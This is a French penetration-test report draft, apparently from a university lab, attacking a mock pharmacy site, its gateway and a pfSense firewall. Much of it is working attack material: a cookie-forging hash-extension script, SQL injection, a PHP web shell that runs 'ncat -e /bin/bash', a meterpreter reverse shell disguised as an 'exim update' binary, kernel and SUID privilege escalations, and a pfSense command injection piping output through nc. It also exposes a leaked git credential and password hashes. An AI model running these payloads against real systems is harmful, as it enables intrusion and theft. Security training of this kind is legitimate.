http://176.31.251.122:8080/index.php?page=/home/user/.git-credentials ``` contenu de /home/user/.git-credentials : ```shell https://user:F579ipujhiF5T6yDZQv_jo@127.0.0.1 ``` ### 5.5.4 droit root sur /bin/more pour un compte user #### Description : Mauvaise configuration permettant à l'utilisateur `user` d'accéder en lecture à tous les fichiers de la machine. #### Exploitation : En listant les commandes que l'utilisateur peut lancer en tant que `root`, on y retrouve `/bin/more` : ```shell user@intranet:~$ sudo -l [sudo] password for user: Matching Defaults entries for user on intranet.goldpharma.lan: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User user may run the following commands on intranet.goldpharma.lan: (root) /bin/more ``` Il est alors très aisé pour l'utilisateur `user` d'accéder en lecture à des fichiers sensibles. Ici, par exemple, `/etc/shadow` : ```shell user@intranet:~$ sudo more /etc/shadow root:$6$HUyeJX/8$WPN.Ut141U3ivRf186obbp1Ri/PL7zyeaW1z4o..rQc5iWYySYPAifCZq3z/sWV Hx/1cKiqEWsyYXxRhzFTsH/:17604:0:99999:7::: daemon:*:17604:0:99999:7::: bin:*:17604:0:99999:7::: sys:*:17604:0:99999:7::: sync:*:17604:0:99999:7::: games:*:17604:0:99999:7::: man:*:17604:0:99999:7::: lp:*:17604:0:99999:7::: mail:*:17604:0:99999:7::: news:*:17604:0:99999:7::: uucp:*:17604:0:99999:7::: proxy:*:17604:0:99999:7::: www-data:*:17604:0:99999:7::: backup:*:17604:0:99999:7::: list:*:17604:0:99999:7::: irc:*:17604:0:99999:7::: gnats:*:17604:0:99999:7::: nobody:*:17604:0:99999:7::: systemd-timesync:*:17604:0:99999:7::: systemd-network:*:17604:0:99999:7::: systemd-resolve:*:17604:0:99999:7::: systemd-bus-proxy:*:17604:0:99999:7::: _apt:*:17604:0:99999:7::: messagebus:*:17604:0:99999:7::: sshd:*:17604:0:99999:7::: user:$6$sTcPwno5$SMoljvkK573LCIZFEpMBpaaQJM3VRT9dZ7RLJ.fvjg0wMXJddPxK1rdnU42Vf8w /TxFIMFT8LDH7OkfEfIsl20:17604:0:99999:7::: ``` #### Conclusion : | Risque | |:---------------------------:| | Difficulté d'exploitation : Triviale | | Impact : Critique | | **Risque** : Critique | | Priorité de correction | |:---------------------------:| | Risque : Critique| | Difficulté de mise en place : Faible | | **Priorité** : Urgente | #### Remédiation : ### 5.5.5 [CVE-2017-16995] eBPF_verifier #### Description : #### Exploitation : #### Conclusion : #### Remédiation : ```shell user@intranet:~$ ./exp1 [.] [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) [.] [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** [.] [*] creating bpf map [*] sneaking evil bpf past the verifier [*] creating socketpair() [*] attaching bpf backdoor to socket [*] skbuff => ffff95da76ab9600 [*] Leaking sock struct from ffff95dab9a25000 [*] Sock->sk_rcvtimeo at offset 472 [*] Cred structure at ffff95dab7ad46c0 [*] UID from cred structure: 1000, matches the current: 1000 [*] hammering cred structure at ffff95dab7ad46c0 [*] credentials patched, launching shell... # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user) # /bin/bash -p root@intranet:~# ``` ### 5.5.6 Élévation de privilèges avec more #### Description : #### Exploitation : #### Conclusion : #### Remédiation : ```shell user@intranet:~$ TERM= sudo more /etc/profile # /etc/profile: system-wide .profile file for the Bourne shell (sh(1)) # and Bourne compatible shells (bash(1), ksh(1), ash(1), ...). if [ "`id -u`" -eq 0 ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" else PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" fi export PATH if [ "${PS1-}" ]; then if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then # The file bash.bashrc already sets the default PS1. # PS1='\h:\w\$ ' if [ -f /etc/bash.bashrc ]; then . /etc/bash.bashrc fi else if [ "`id -u`" -eq 0 ]; then PS1='# ' else PS1='$ ' fi !/bin/sh # id uid=0(root) gid=0(root) groups=0(root) ``` # 6 Stratégie de remédiations # 7 Synthèse des vulnérabilités # 8 Annexes - Les communications sont **non chiffrées** sur le site (**http** au lieu de **https**). Cela est visible avec le logiciel **Burp** et permet de réaliser une attaque de type *Man in the Middle* afin d'obtenir des informations sensibles telles que le mot de passe et l'adresse email des utilisateurs : ![0_burp_goldpharma_http](/Users/steverey/Desktop/screen_pmsi/0_burp_goldpharma_http.png) <div style="text-align: center"><small><i>Impression écran de la capture Burp</small></i></div> - Mauvaise configuration des répertoires, donc *fuzzing* possible pour tester la présence de répertoires. - ## Test d'intrusion La phase de reconnaissance est tout d'abord effectuée en observant le site dans son ensemble. Il est remarqué la possibilité d'effectuer des achats, donc d'avoir un compte et de s'y connecter. Un compte est créé et les cookies sont examinés. Un cookie `mac` est présent ainsi qu'un `auth` : ils servent respectivement à identifier l'utilisateur ainsi que son panier, et l'autre sert à vérifier l'authenticité du cookie `auth`. <!-- VÉRIFIER ÇA --> <!-- VÉRIFIER ÇA --> <!-- VÉRIFIER ÇA --> Exemple dudit cookie : ```bash a:3:{s:2:"id";s:2:"71";s:5:"admin";s:1:"0";s:4:"cart";a:6: {s:6:"Cialis";i:1;s:8:"Erexin-V";i:1;s:17:"Extra Super Avana";i:1;s:21:"Psychedelic mushrooms";i:1;s:7:"Tobacco";i:2;s:6:"Viagra";i:1;}} ``` Ici, l'utilisateur est identifié par l'id `71` et a comme panier les produits présents dans `cart`. Une autre fonctionnalité du site est de pouvoir modifier son profil, notamment l'ajout d'une photo de profil. Des vulnérabilités de type /type/ ont été testées, mais cela était impossible à réaliser car les noms des photos téléversées est généré au hasard, donc inexploitable car il ne semble pas y avoir de *LFI* — *local file inclusion* — présentes sur le site. Du *fuzzing* est ensuite réalisé sur les répertoires du site. Pour cela, l'outil `Gobuster` a été utilisé avec une liste de mots de grande taille (`big.txt` de **SecLists**). Les répertoires suivants ont été trouvés : - `/admin` : page narguant les personnes trop curieuses - `/uploads` : déjà trouvé auparavant - `/phpmyadmin` - `/inc` : détaillé ci-après Le répertoire `/inc` contient une sauvegarde (*backup*) du fichier `utils.php`, ce qui permet de retrouver le code source de cette page (`utils.php~`) : ```php <?php function bbcode($msg) { /* Only [img] for now */ $texte = preg_replace('~\[img](.*?)\[/img\]~s','<img src="$1">',$msg); $texte = htmlspecialchars_decode($texte,ENT_QUOTES); return $texte; } /* if(testCookie()) { // We could store others things in the future so we split with \n $tmp_array = explode("\n",urldecode($_COOKIE['auth'])); for ($i = 0; $i < count($tmp_array); $i++) $cookie=unserialize($tmp_array[$i]); // Todo an array } */ function testCookie() { if (isset($_COOKIE['auth']) && isset($_COOKIE['mac'])) { $hash = sha1(SECRET.urldecode($_COOKIE['auth'])); if($hash === $_COOKIE['mac']) return true; } return false; } function randStr($len) { $charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; $charsetLen=strlen($charset) - 1; $random = array(); for($i = 0;$i < $len;$i++) $random[$i] = $charset[mt_rand(0,$charsetLen)]; return implode($random); ?> ``` Ce code permet de mieux comprendre comment le cookie mac est généré et de trouver des pistes pour une attaque sur celui-ci afin de faire croire au site que le cookie `auth` forgé est légitime, i.e. changer le champs admin de valeur `0` en `1`. Le cookie n'est pas seul dans le `sha1`, il est concatené à une variable `SECRET` non récupérée à ce stade. Il s'agit donc ici d'effectuer une attaque de type *hash extension attack*. La taille de clé est inconnue mais il est possible de bruteforce cette taille en utilisant un outil issu de **GitHub** : `hashextender`. Ce dernier permet d'implémenter l'attaque. Le code le code suivant indique comment il a été possible d'obtenir les droits `admin` sur **Goldpharma** : ```python import requests import sys import subprocess ''' This script need this tool : https://github.com/iagox86/hash_extender ''' def cmdline(command): proc = subprocess.Popen( str(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) (out, err) = proc.communicate() return out HASH_EXTENDER_BIN_PATH = "/opt/hash_extender/hash_extender" DATA = 'a:3:{s:2:"id";s:2:"75";s:5:"admin";s:1:"0";s:4:"cart";a:0:{}}' APPEND = '\na:3:{s:2:"id";s:2:"75";s:5:"admin";s:1:"1";s:4:"cart";a:0:{}}' SIGNATURE = "d29bd1f2015746fab551d5d88287aa4726c223b0" for key_length in range(1,32): print("[*] Trying " + str(key_length), end="") shell = cmdline( HASH_EXTENDER_BIN_PATH+" -q --out-data-format=html -d '"+DATA+ "' -s "+ SIGNATURE + " -a '" + APPEND + "' -f sha1 -l " + str(key_length)) new_hash = shell.decode()[:40] msg = shell.decode()[40:] cookies = { "auth" : msg, "mac" : new_hash } page = requests.get("http://localhost/?page=account", cookies=cookies) if "not connected" in page.text.lower(): print(" : Failed") else: print(" : Success") print("\nAUTH Cookie : " + msg) print("\nMAC Cookie : " + new_hash) sys.exit() ``` Une fois l'exécution du script terminée, il suffit de copier les deux cookies ci-dessous dans le navigateur et le compte obtient les droits `admin` : ```bash [*] Trying 1 : Failed [*] Trying 2 : Failed [*] Trying 3 : Failed [*] Trying 4 : Failed [*] Trying 5 : Failed [*] Trying 6 : Failed [*] Trying 7 : Failed [*] Trying 8 : Failed [*] Trying 9 : Failed [*] Trying 10 : Failed [*] Trying 11 : Failed [*] Trying 12 : Failed [*] Trying 13 : Failed [*] Trying 14 : Failed [*] Trying 15 : Failed [*] Trying 16 : Success AUTH Cookie : a%3a3%3a%7bs%3a2%3a%22id%22%3bs%3a2%3a%2275%22%3bs%3a5%3a%22admin%22%3bs%3a1%3a %220%22%3bs%3a4%3a%22cart%22%3ba%3a0%3a%7b%7d%7d%80%00%00%00%00%00%00%00%00%00% 00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0 0%00%00%00%00%00%00%00%00%00%00%00%00%02h%0aa%3a3%3a%7bs%3a2%3a%22id%22%3bs%3a2 %3a%2275%22%3bs%3a5%3a%22admin%22%3bs%3a1%3a%221%22%3bs%3a4%3a%22cart%22%3ba%3a 0%3a%7b%7d%7d MAC Cookie : a3899c7233f456d3822f8eca9b96829003f071d8 ``` Une fois l'accès au compte admin sur **GoldPharma** récupéré , il est possible de regarder la liste des comptes sur le site. Le lien vers la liste des comptes est celui-ci : http://ppti-msi-6.ufr-info-p6.jussieu.fr/?page=admin&action=list_acc Il s'avère que ce le paramètre `action` semble **vulnérable** aux **injections SQL** (test simple sans outil). `sqlmap` est utilisé contre ce paramètre et il est effectivement vulnérable à des **injections SQL aveugles**. À ce point, **toutes les tables** ont pu être **listées** et il a été également possible de réaliser un *dump* de toutes les données de la base de données. <!-- VÉRIFIER SI EN CLAIR POUR RGPD --> N'importe quel fichier arbitraire peut également être lu sur la base de données en utilisant l'option `--file-read` avec `sqlmap`. Le fichier `config.php` a donc pu être lu pour obtenir les identifiants du compte `phpmyadmin`. En s'y connectant, il est possible de téléverser (*upload*) un *webshell* dans le répertoire `uploads` et de récupérer tous le code source du site pour vérifier que l'upload de la photo de profil était bien inexploitable, ce qui était le cas. L'étape suivante consiste à écrire du code `php` pour se connecter à une machine de la PPTI et ainsi obtenir un *shell* en tant que `www-admin` sur la machine **Goldpharma** grâce au code ci-dessous : ```php <?php if(!isset($_GET["passwd"]) || $_GET["passwd"] !== "msi2020" || !isset($_GET["IP"]) || !isset($_GET["PORT"])) die("die"); exec("ncat ".$_GET["IP"]." ".$_GET["PORT"]." -e /bin/bash > /dev/null 2>&1 &"); ?> ``` Description de la méthode : 1. Ouverture d'un *listener* sur une des machines de la ppti : `nc -lvp 5555` 2. Exécution d'une requête vers `http://ppti-msi-6.ufr-info-p6.jussieu.fr/uploads/open_rs.php?passwd=msi2020&IP=132.227.118.20&PORT=5555` 3. L'attaquant est désormais connecté à la machine **GoldPharma** Les étapes suivantes permettent d'obtenir un *shell* stable : - `python -c "import pty;pty.spawn('/bin/bash')"` - `CTRL+Z` - `$ stty raw -echo` - `$ fg` - `export TERM=xterm` Un script <!-- LEQUEL??? --> permettant de lire n'importe quel fichier peut être trouvé et utilisé dans un premier temps pour tenter de *cracker* le mot de passe d'admin (`/etc/shadow`). Cependant, cela n'aboutit pas. Il est possible de **lire** la **clé privée** *admin* et la **copier** dans `/tmp` pour s'y **connecter** en tant qu'*admin*. L'élévation de privilège vers `root` exploite le fait que le script permettant de lire un fichier avait le `SUID` bit activé. Le script utilise `whoami`. En remplaçant l'appel à `whoami` par un fichier "whoami" nouvellement créé contenant `/bin/bash` cela permet d'obtenir les droit root : ```bash admin@frontend:/tmp$ ./root_shell # id uid=1001(admin) gid=1001(admin) euid=0(root) groups=1001(admin) ``` Une fois les droits `root` obtenus sur la machine "principale", un scan de toutes les machines sur le même réseau a été réalisé. Cela permet de se connecter à la *gateway* en utilisant la clé privée admin et de la ping : ````bash bash-4.3$ ping 172.16.0.254 # adresse de la gateway ping 172.16.0.254 PING 172.16.0.254 (172.16.0.254) 56(84) bytes of data. 64 bytes from 172.16.0.254: icmp_seq=1 ttl=64 time=0.046 ms 64 bytes from 172.16.0.254: icmp_seq=2 ttl=64 time=0.072 ms 64 bytes from 172.16.0.254: icmp_seq=3 ttl=64 time=0.082 ms ```` La première machine correspond à une installation de `Cyclades® ACS Advanced Console Server` : <!--METTRE IMAGE--> <!--METTRE IMAGE--> <!--METTRE IMAGE--> <!--METTRE IMAGE--> Le code source est examiné, ainsi que les requêtes web envoyées lors de l'envoi de `username` et `password`, ce qui permet de révéler un **URI atypique** sur le site, qui peut aussi être retrouvé dans le code source directement : `action="/goform/Dmf">` En utilisant un moteur de recherche avec les termes : ```bash site : github.com 'action="/goform/Dmf">' ``` cela permet de trouver un *repository* **GitHub** correspondant au code source complet du site. Le répertoire a pu être cloné, ce qui a permis d'explorer en local des techniques de création d'utilisateurs ou de changement de mot de passe pour accéder à la partie *wizard* du `Cyclades ACS Web Manager`. La nature de l'appareil pourrait-être un `Cyclades ACS 5000 Series`. Une autre piste pour une autre machine a pu être trouvée. En effet, dans le dossier `/root` de la machine **GoldPharma**, un script lancé toutes les 2 minutes sur le NAS synchronise les *backups* depuis le *frontend* et puis les compresse : ```bash #!/bin/bash # This script is executed every 2 minutes on the internal NAS rsync -avzh admin@172.16.0.50:/home/admin/backups/ /home/admin/backups/ cd /home/admin/backups && tar xf backups.tar * ``` # Partie Gateway ## Liste des vulnérabilités ## Test d'intrusion user : `admin` L'outil `linux exploit suggester` permet d'obtenir une liste d'*exploits* potentiellement effectifs sur cette machine : ![image de la liste d'exploit]() Après en avoir testé plusieurs, il s'avère qu'une variante pour les **kernels 4.4.x** de la **POC** de la **CVE-2017-16995** fonctionne sur cette machine, permettant d'obtenir un accès root en exécutant le binaire compilé au préalable sur la machine attaquante: ![image du root uid sur la gateway]() Depuis l'adresse un terminal ouvert sur **GoldPharma** (`176.31.251.122`) il est possible de se connecter directement en `root` à la *gateway* (`172.16.0.254`)via ssh : ```bash www-data@frontend:~/html/uploads$ ssh -i /tmp/adSK admin@172.16.0.254 ``` # Partie pfSense ## Liste des vulnérabilités ## Test d'intrusion À ce stade, la machine victime **GoldPharma** ainsi que la *gateway* ont pu être accédées. Pour rappel : - Adresse IP de **GoldPharma** : `176.31.251.122` - Adresse IP de la ***gateway*** : `172.16.0.254` L'attaquant cherche désormais à se propager sur le pare-feu. Pour cela, suivre les étapes suivantes : 1. Créer le reverse tcp shell sur la machine attaquante ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=132.227.118.20 LPORT=3485 -f elf > exim-4.2_update.elf ``` 2. Configurer les droit au fichier tranféré ```bash root_shell chmod +x /tmp/exim-4.2_update.elf ``` 3. Utiliser netcat pour téléverser le fichier binaire créé ```bash nc -lvp 3486 < exim-4.2_update.elf # <-- exécuter sur machine attaquante ``` ```bash nc 132.227.118.20 3486 > /tmp/exim-4.2_update.elf # <-- exécuter sur machine victime GoldPharma ``` 4. Utiliser Metasploit pour établir la connexion avec le *reverse shell* ```bash msfconsole use exploit/multi/handler set LHOST 176.31.251.122 set LPORT 3486 # port local set payload linux/x86/meterpreter/reverse_tcp run ``` 5. Exécuter le binaire sur la machine victime ```bash ./exim-4.2_update.elf & # localisé dans /tmp/ ``` L'exécution du fichier binaire permet ainsi de récupérer un *reverse shell* depuis la machine victime[^note¹]. [^note¹]: L'attaquant ayant les droits `root` sur la machine victime, il pourrait créer un crontab exécutant le fichier périodiquement afin de rajouter de la persistance sur son attaque. 6. Accéder à pfSense par l'`URL` https://176.31.251.122:4443/ et accepter le "risque" <img src="/Users/steverey/Desktop/screen_pmsi/1.png" alt="1" style="zoom: 50%;" /> 7. Se connecter avec les identifiants 1. Utiliser `user` à la fois pour `Username` et `Password` pour accéder à `index.php`. 2. Un message d'erreur est s'affiche car le port utilisé est `4443` et non `443`: ![2](/Users/steverey/Desktop/screen_pmsi/2.png) 8. Étape suivante : 9. Étape suivante encore : <img src="/Users/steverey/Desktop/screen_pmsi/3_status_rrd_graph.png" alt="3_status_rrd_graph" style="zoom: 50%;" /> 10. Etc : 11. Etc : 12. Etc : 13. Etc : La version de **pfSense** est vulnérable à une RCE (*Remote Code Execution*), i.e. à de l'exécution de code arbitraire à distance : [lien](https://www.cvedetails.com/cve/CVE-2014-4688/). La documentation de la vulnérabilité par pfSense ([lien CVE Details](https://www.netgate.com/assets/downloads/advisories/pfSense-SA-14_10.webgui.asc)) indique : > ``` > II. Problem Description > > Multiple Command Injection vulnerabilities were discovered in the > pfSense WebGUI during a security audit. > > * Command Injection in diag_dns.php [CVE-2014-4688] > * Command Injection in diag_smart.php [CVE-2014-4688] > * Command Injection in status_rrd_graph_img.php [CVE-2014-4688] > > The host value passed via POST on diag_dns.php during the "Create Alias" > action is not properly validated or sanitized. A specially-crafted string > sent as the "hostname" value can trigger the vulnerability. > > An unused "update e-mail" function is still active on the diag_smart.php > page and its variables are not properly validated or sanitized. A specially > crafted string sent as the "smartmonemail" value can trigger the > vulnerability. > > The database value passed to status_rrd_graph_img.php is not properly > validated or sanitized. A specially crafted string sent as the "database" > value can trigger the vulnerability. > ``` Sur la page CVE Details cité précédemment, un lien vers **Exploit DB** permet d'accéder à l'exploitation de la vulnérabilité ([lien](https://www.exploit-db.com/exploits/43560)). Le script exploitant la vulnérabilité explique comment la réaliser : > ```py > pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection. > This script will return a reverse shell on specified listener address and port. > Ensure you have started a listener to catch the shell before running! > ``` Attaquer le pare-feu **pfSense** est possible depuis la *gateway* en ouvrant un `netcat` *listener* sur cette dernière, puis en accédant à l'URL suivant du pare-feu : `https://localhost/status_rrd_graph_img.php?database=queues;ls /tmp | nc 172.16.0.254 4448` ## Text Formating Regular, **bold**, *italic*, ~~strike~~, ==hightlight==, `inline-code`,*emphasis^,<!--comment-->,

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully